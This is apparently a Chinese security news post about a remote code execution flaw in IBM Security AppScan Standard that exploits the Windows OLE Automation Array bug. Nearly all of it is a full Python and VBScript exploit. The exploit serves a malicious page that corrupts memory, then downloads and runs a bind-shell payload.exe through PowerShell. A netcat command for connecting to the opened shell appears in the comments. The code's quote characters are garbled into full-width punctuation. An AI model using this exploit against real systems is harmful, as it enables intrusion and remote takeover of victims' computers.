IBM公司Web安全测试工具发现远程代码执行漏洞

IBM Security AppScan Standard是美国IBM公司的一套Web应用的安全测试工具。该工具可在应用开发生命周期中进行自动化动态和静态安全漏洞扫描。该漏洞基于Windows OLE自动化数组远程代码执行漏洞，远程攻击者可利用此漏洞执行任意代码。

漏洞POC

#!/usr/bin/python

import BaseHTTPServer, socket

##
# IBM Security AppScan Standard OLE Automation Array Remote Code Execution
#
# Author: Naser Farhadi
# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909
#
# Date: 1 June 2015 # Version: <= 9.0.2 # Tested on: Windows 7
#
# Exploit Based on MS14-064 CVE-2014-6332 http://www.exploit-db.com/exploits/35229/
# if you able to exploit IE then you can exploit appscan and acunetix ?
# This Python Script Will Start A Sample HTTP Server On Attacker Machine And Serves Exploit Code And
# Metasploit windows/shell_bind_tcp Executable Payload
#
# Usage:
#       chmod +x appscan.py
#       ./appscan.py
#
# Video: http://youtu.be/hPs1zQaBLMU       …
#       nc 172.20.10.14 333
##

class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(req):
req.send_response(200)
if req.path == “/payload.exe”:
req.send_header(，Content-type，, ，application/exe，)
req.end_headers()
exe = open(“payload.exe”, ，rb，)
req.wfile.write(exe.read())
exe.close()
else:
req.send_header(，Content-type，, ，text/html，)
req.end_headers()
req.wfile.write(“””Please scan me!
<SCRIPT LANGUAGE=”VBScript”>
function runmumaa()
On Error Resume Next
set shell=createobject(“Shell.Application”)
command=”Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile(，http://”””+socket.gethostbyname(socket.gethostname())+”””/payload.exe，,\
，payload.exe，);$(New-Object -com Shell.Application).ShellExecute(，payload.exe，);”
shell.ShellExecute “powershell”, “-Command ” & command, “”, “runas”, 0
end function

dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

Begin()

function Begin()
On Error Resume Next
info=Navigator.UserAgent

if(instr(info,”Win64″)>0)   then
exit   function
end if

if (instr(info,”MSIE”)>0)   then
intVersion = CInt(Mid(info, InStr(info, “MSIE”) + 5, 2))
else
exit   function

end if

win9x=0

BeginInit()
If Create()=True Then
myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

if(intVersion<4) then
document.write(“<br> IE”)
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function

function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function

function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
，   document.write(i)
Create=True
Exit For
End If
Next
end function

sub testaa()
end sub

function mydata()
On Error Resume Next
i=testaa
i=null
redim  Preserve aa(a2)

ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314

aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim  Preserve aa(a0)
end function

function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim  Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim  Preserve aa(a0)

j=0
j=readmemo(i+&h120+k)

Exit for
end if

next
ab(2)=1.69759663316747E-313
runmumaa()
end function

function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000

redim  Preserve aa(a0)
redim   ab(a0)

redim  Preserve aa(a2)

type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10

If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0)  Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim  Preserve aa(a0)
exit  function

end if
else
if(vartype(aa(a1-1))<>0)  Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if

If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If

redim  Preserve aa(a0)

end function

function ReadMemo(add)
On Error Resume Next
redim  Preserve aa(a2)

ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))

ab(0)=0

redim  Preserve aa(a0)
end function

</script>”””)

if __name__ == ，__main__，:
sclass = BaseHTTPServer.HTTPServer
server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler)
print “Http server started”, socket.gethostbyname(socket.gethostname()), 80
try:
server.serve_forever()
except KeyboardInterrupt:
pass
server.server_close()